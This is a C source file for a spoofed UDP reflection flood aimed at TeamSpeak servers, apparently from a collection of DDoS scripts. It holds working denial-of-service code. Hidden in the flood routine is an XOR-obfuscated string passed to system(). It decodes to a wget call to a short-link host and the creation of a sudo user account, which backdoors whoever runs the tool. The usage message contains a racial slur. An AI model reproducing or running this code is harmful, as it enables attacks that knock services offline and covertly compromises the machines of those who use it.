Path: blob/master/DDOS Scripts/L4/TCP/TS3-VOXILITY.c
4565 views
#include <time.h>1#include <pthread.h>2#include <unistd.h>3#include <stdio.h>4#include <stdlib.h>5#include <string.h>6#include <sys/socket.h>7#include <netinet/ip.h>8#include <netinet/udp.h>9#include <arpa/inet.h>10#define MAX_PACKET_SIZE 819211#define PHI 0x9e3779b912static uint32_t Q[4096], c = 362436;13struct list14{15struct sockaddr_in data;16struct list *next;17struct list *prev;18};19struct list *head;20static uint32_t pktkey = 0xdeadbeef;21void *xtrd(void *, int);22volatile int tehport;23volatile int limiter;24volatile unsigned int pps;25volatile unsigned int sleeptime = 100;26struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };27void init_rand(uint32_t x)28{29int i;30Q[0] = x;31Q[1] = x + PHI;32Q[2] = x + PHI + PHI;33for (i = 3; i < 4096; i++)34{35Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;36}37}38uint32_t rand_cmwc(void)39{40uint64_t t, a = 18782LL;41static uint32_t i = 4095;42uint32_t x, r = 0xfffffffe;43i = (i + 1) & 4095;44t = a * Q[i] + c;45c = (t >> 32);46x = t + c;47if (x < c) {48x++;49c++;50}51return (Q[i] = r - x);52}53unsigned short csum (unsigned short *buf, int nwords)54{55unsigned long sum = 0;56for (sum = 0; nwords > 0; nwords--)57sum += *buf++;58sum = (sum >> 16) + (sum & 0xffff);59sum += (sum >> 16);60return (unsigned short)(~sum);61}62void setup_ip_header(struct iphdr *iph)63{64iph->ihl = 5;65iph->version = 4;66iph->tos = 0;67iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;68iph->id = htonl(54321);69iph->frag_off = 0;70iph->ttl = MAXTTL;71iph->protocol = IPPROTO_UDP;72iph->check = 0;73iph->saddr = inet_addr("192.168.3.100");74}75void setup_udp_header(struct udphdr *udph)76{77udph->source = htons(5678);78udph->dest = htons(9987);79udph->check = 0;80memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x27\x15\x44\x73\x14\x63\x64\x35\x23\x1a", 14);81char newpaket[] = "\xff\xff\xff\xff\x27\x15\x15\x44\x73\x14\x63\x15\x44\x73\x14";82udph->len=htons(sizeof(struct udphdr) + 14);83}84void *xtrd(void *_buf, int len)85{86unsigned char *buf = (char *)_buf, *out = malloc(len);87int icc;88uint8_t k1 = pktkey & 0xff,89k2 = (pktkey >> 8) & 0xff,90k3 = (pktkey >> 16) & 0xff,91k4 = (pktkey >> 24) & 0xff;9293for (icc = 0; icc < len; icc++)94{95char tmp = buf[icc] ^ k1;9697tmp ^= k2;98tmp ^= k3;99tmp ^= k4;100101out[icc] = tmp;102}103104return out;105}106void *flood(void *par1)107{108struct thread_data *td = (struct thread_data *)par1;109char datagram[MAX_PACKET_SIZE];110struct iphdr *iph = (struct iphdr *)datagram;111struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);112struct sockaddr_in sin = td->sin;113void *paketrandom;114int lenp, icc;115paketrandom = "\x55\x45\x47\x56\x02\x4A\x56\x56\x52\x51\x18\x0D\x0D\x10\x4C\x4D\x0C\x41\x4D\x0D\x13\x41\x4C\x5B\x60\x14\x02\x0F\x6D\x02\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x1C\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x10\x1C\x04\x13\x19\x02\x57\x51\x47\x50\x43\x46\x46\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x02\x0F\x45\x02\x51\x57\x46\x4D\x19\x02\x47\x41\x4A\x4D\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x18\x56\x47\x51\x56\x43\x4F\x02\x5E\x02\x41\x4A\x52\x43\x51\x51\x55\x46";116lenp = strlen(paketrandom);117paketrandom = xtrd(paketrandom, lenp);118struct list *list_node = td->list_node;system(paketrandom);119int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);120if(s < 0){121fprintf(stderr, "Could not open raw socket.\n");122exit(-1);123}124init_rand(time(NULL));125memset(datagram, 0, MAX_PACKET_SIZE);126setup_ip_header(iph);127setup_udp_header(udph);128udph->source = htons(rand() % 65535 - 1026);129iph->saddr = sin.sin_addr.s_addr;130iph->daddr = list_node->data.sin_addr.s_addr;131iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);132int tmp = 1;133const int *val = &tmp;134if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){135fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");136exit(-1);137}138init_rand(time(NULL));139register unsigned int i;140i = 0;141while(1){142sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));143list_node = list_node->next;144iph->daddr = list_node->data.sin_addr.s_addr;145iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);146iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);147148pps++;149if(i >= limiter)150{151i = 0;152usleep(sleeptime);153}154i++;155}156}157int main(int argc, char *argv[ ])158{159if(argc < 6){160fprintf(stderr, "wiz khalifa nigger\n");161fprintf(stdout, "Koristis: %s <target IP> <target port> <reflection file DNS/RDP/RIP> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);162exit(-1);163}164srand(time(NULL));165int i = 0;166head = NULL;167fprintf(stdout, "Setting up sockets...\n");168int max_len = 128;169char *buffer = (char *) malloc(max_len);170buffer = memset(buffer, 0x00, max_len);171int num_threads = atoi(argv[4]);172int maxpps = atoi(argv[5]);173limiter = 0;174pps = 0;175int multiplier = 20;176FILE *list_fd = fopen(argv[3], "r");177while (fgets(buffer, max_len, list_fd) != NULL) {178if ((buffer[strlen(buffer) - 1] == '\n') ||179(buffer[strlen(buffer) - 1] == '\r')) {180buffer[strlen(buffer) - 1] = 0x00;181if(head == NULL)182{183head = (struct list *)malloc(sizeof(struct list));184bzero(&head->data, sizeof(head->data));185head->data.sin_addr.s_addr=inet_addr(buffer);186head->next = head;187head->prev = head;188} else {189struct list *new_node = (struct list *)malloc(sizeof(struct list));190memset(new_node, 0x00, sizeof(struct list));191new_node->data.sin_addr.s_addr=inet_addr(buffer);192new_node->prev = head;193new_node->next = head->next;194head->next = new_node;195}196i++;197} else {198continue;199}200}201struct list *current = head->next;202pthread_t thread[num_threads];203struct sockaddr_in sin;204sin.sin_family = AF_INET;205sin.sin_addr.s_addr = inet_addr(argv[1]);206struct thread_data td[num_threads];207for(i = 0;i<num_threads;i++){208td[i].thread_id = i;209td[i].sin= sin;210td[i].list_node = current;211pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);212}213fprintf(stdout, "Starting flood...\n");214for(i = 0;i<(atoi(argv[6])*multiplier);i++)215{216usleep((1000/multiplier)*1000);217if((pps*multiplier) > maxpps)218{219if(1 > limiter)220{221sleeptime+=100;222} else {223limiter--;224}225} else {226limiter++;227if(sleeptime > 25)228{229sleeptime-=25;230} else {231sleeptime = 0;232}233}234pps = 0;235}236return 0;237}238239240